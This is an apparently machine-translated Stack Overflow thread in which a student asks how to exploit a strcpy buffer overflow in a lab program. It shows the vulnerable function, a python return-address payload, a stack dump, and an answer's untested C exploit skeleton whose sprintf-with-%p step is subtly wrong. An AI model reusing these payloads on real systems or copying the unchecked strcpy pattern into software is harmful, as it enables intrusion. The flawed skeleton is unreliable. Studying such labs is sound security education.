2013-05-01 77 views
5

我最近一直在學習計算機安全並遇到了一些問題,並且特別在這個問題上遇到了一些麻煩。使用緩衝區溢出來執行shell代碼

爲了在文件shellcode中執行shellcode,我得到了一個需要溢出的固定緩衝區的函數。該功能是相當簡單:

void vuln(char *str) { 
    char buf[64]; 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
} 

我最初的猜測是修改返回地址,EIP,功能,以查找並執行什麼在shellcode的文件,但我意識到我沒有地址到我可以用十六進制值表示的文件。我很肯定我需要操作的返回地址,所以目前什麼我打電話是:

//the string is passed as a command line arg 
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ") 

我的輸出是:

Stack dump: 
0xffffd600: 0xffffd7fd (first argument) 
0xffffd5fc: 0x08048653 (saved eip) 
0xffffd5f8: 0xffffd641 (saved ebp) 
0xffffd5f4: 0x41414141 
0xffffd5f0: 0x41414141 
0xffffd5ec: 0x41414141 
0xffffd5e8: 0x41414141 
0xffffd5e4: 0x41414141 
0xffffd5e0: 0x41414141 
0xffffd5dc: 0x41414141 
0xffffd5d8: 0x41414141 
0xffffd5d4: 0x41414141 
0xffffd5d0: 0x41414141 
0xffffd5cc: 0x41414141 
0xffffd5c8: 0x41414141 
0xffffd5c4: 0x41414141 
0xffffd5c0: 0x41414141 
0xffffd5bc: 0x41414141 
0xffffd5b8: 0x41414141 
0xffffd5b4: 0x41414141 
0xffffd5b0: 0x41414141 (beginning of buffer) 
Segmentation fault 

的python腳本只是簡單地打印72字母A對將緩衝區溢出至edpeip處,在我用附加地址替換edp的地址併到達返回地址後,準備對其進行操作。任何幫助真的很感激,謝謝!

+6

你是否用'-really-no-protection'和'-make-me-vulnerable-to-everything'標誌編譯了代碼?這是目前攻擊所必需的。 – 2013-05-01 20:03:01

+0

@Daniel Fischer是的,我已經正確編譯了以前的計算機安全程序並且能夠無任何問題地將它們溢出。我知道我的程序將按預期運行 – 2013-05-01 20:21:18

+0

好的,只是檢查明顯的嫌疑人。 – 2013-05-01 20:25:01

回答

12

嗯,我想也許這就像一個緩衝區溢出實驗室計算機系統:程序員的角度。首先,使用objdump來獲取靜態地址。其次,用gdb運行它來找出堆棧的地址。然後,用這樣一個字符串填充緩衝區,以覆蓋緩衝區的返回地址(以便您可以放入漏洞代碼,或者可以調用程序中的其他代碼)。

看看這個pdf作爲本實驗指南。它可以爲您提供一些見解。

正如所指出的,需要大量的編譯時間標誌來實現這一點。 (我會檢查哪些並很快回來)。或者,this提供了一個關於如何編譯這樣一個例子的指南。

0

當你知道在哪裏看起來不太難,就像在打開應用程序w/gdb之前所說的那樣。 r(un)it。然後我(nfo)r(egisters)看它爲什麼墜毀。拆卸也非常有用。

另外,(我假設你知道這一點):

void vuln(char *str) { 
    char buf[64]; 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
} 

實際上是

void vuln(char *str) { 
    void *return; 
    char buf[64]; 

    /* Set Return value and store stack */ 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
    /* restore stack and jmp to return value. */ 
} 
2

我最初的猜測是修改返回地址,EIP,函數,以便找到並執行shellcode文件中的內容,但是我意識到我沒有可以用十六進制值表示的文件地址。

你想要修改RET地址,這樣當函數結束時它不會返回到它的調用者,而是返回到你的shellcode的開頭。((作爲shellcode的一個簡要概述,它是一組彙編指令(如此嚴重依賴於執行易受攻擊的進程的平臺)執行一個shell(通常是一個根shell),因此將你放入一個很好的環境,你可以利用。))

現在回來,你想要的是指向您的shellcode第一個彙編指令RET。奇怪的是,你有一個單獨的文件。這是必需的嗎?

如何它通常做的是,你有這樣的事情:

char shellcode[] = "\x90\x90\x90..."; 


int main() 
{ 
     /* 
     * huge string (like your 72 A's) that appends the address of the 
     * shellcode at the right address (in your case I think it's 64 + 4) 
     */ 
     char evilstring[100]; 

     /* Fill the buf and the EBP with A's */ 
     for (int i = 0; i < 64 + 4; i++) { 
       evilstring[i] = 'A'; 
     } 
     /* And the RET with the address of your shellcode */ 
     sprintf(&evilstring[68], "%p", &shellcode[0]); 
     vuln(evilstring); 
     /* you should have a shell now */ 

     /* NOTREACHED */ 
     return 0; 
} 

所以,現在,當你的函數返回時,它返回的shellcode的[]字符串的地址,並從該處繼續執行指令。這是你想要的。因爲這些指令爲您提供了根shell(或者shellcode所做的任何操作)。

請注意,以上只是示例代碼,它甚至沒有經過編譯測試。

如果我不理解您的問題或者我沒有解釋得不夠好,請隨時提問。

1
char buff[20]; 
unsigned int pass = 0; 

當'buff'溢出時,額外的輸入將'通過'變成大於0,使其成爲'真'值。